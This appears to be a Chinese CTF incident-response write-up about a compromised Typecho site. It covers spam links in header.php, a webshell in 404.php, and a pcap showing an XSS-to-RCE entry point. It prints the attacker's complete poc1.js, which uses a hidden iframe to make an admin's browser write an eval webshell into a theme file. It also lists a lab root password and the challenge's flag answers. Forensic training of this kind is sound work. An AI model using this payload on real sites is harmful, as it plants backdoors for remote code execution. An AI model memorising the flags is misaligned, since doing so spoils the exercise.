第五章-Linux实战-黑链

0x00 环境分析

1
2
服务器场景操作系统 Linux  
服务器账号密码 root xjty110pora 端口 2222  

0x01

1、找到黑链添加在哪个文件 flag 格式 flag{xxx.xxx}
备份源码
tar -zcvf /tmp/web.tar.gz /var/www/html
搜索一下黑链
header.php
flag{header.php}
2、webshell的绝对路径 flag{xxxx/xxx/xxx/xxx/}
放到 D 盾里扫描一下或者全局搜索一下eval
发现在404.php
flag{/var/www/html/usr/themes/default/404.php}
3、黑客注入黑链文件的 md5 md5sum file flag{md5}
poc1.js中发现了注入黑链的文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// 定义一个函数,在网页末尾插入一个iframe元素  
function insertIframe() {  
    // 获取当前页面路径  
    var urlWithoutDomain = window.location.pathname;  
    // 判断页面是否为评论管理页面  
    var hasManageComments = urlWithoutDomain.includes("manage-comments.php");  
    var tSrc='';  
    if (hasManageComments){  
        // 如果是,则将路径修改为用于修改主题文件的页面地址  
        tSrc=urlWithoutDomain.replace('manage-comments.php','theme-editor.php?theme=default&file=404.php');  
    }else{  
        // 如果不是,则直接使用主题文件修改页面地址  
        tSrc='/admin/theme-editor.php?theme=default&file=404.php';  
    }  
    // 定义iframe元素的属性,包括id、src、width、height和onload事件  
    var iframeAttributes = "<iframe id='theme_id' src='"+tSrc+"' width='0%' height='0%' onload='writeShell()'></iframe>";  
    // 获取网页原始内容  
    var originalContent = document.body.innerHTML;  
    // 在网页末尾添加iframe元素  
    document.body.innerHTML = (originalContent + iframeAttributes);  
}  
  
// 定义一个全局变量isSaved,初始值为false  
var isSaved = false;  
  
// 定义一个函数,在iframe中写入一段PHP代码并保存  
function writeShell() {  
    // 如果isSaved为false  
    if (!isSaved) {   
        // 获取iframe内的内容区域和“保存文件”按钮元素  
        var content = document.getElementById('theme_id').contentWindow.document.getElementById('content');  
        var btns = document.getElementById('theme_id').contentWindow.document.getElementsByTagName('button');      
        // 获取模板文件原始内容  
        var oldData = content.value;  
        // 在原始内容前加入一段phpinfo代码  
        content.value = ('<?php @eval($_POST[a]); ?>\n') + oldData;  
        // 点击“保存文件”按钮  
        btns[1].click();  
        // 将isSaved设为true,表示已经完成写入操作  
        isSaved = true;  
    }  
}  
// 调用insertIframe函数,向网页中添加iframe元素和写入PHP代码的事件  
insertIframe();  

flag{10c18029294fdec7b6ddab76d9367c14}
4、攻击入口是哪里?url请求路径,最后面加/ flag{/xxxx.xxx/xxxx/x/}
在源码中存在output.pcag,利用wireshark分析一下
通过源码得知是Typecho,百度搜索得知存在RCE漏洞
https://blog.mo60.cn/index.php/archives/Typecho-1-2-xss2rce.html
通过流量包查看,正是此漏洞
触发点是/index.php/archives/1/
flag{/index.php/archives/1/}

0%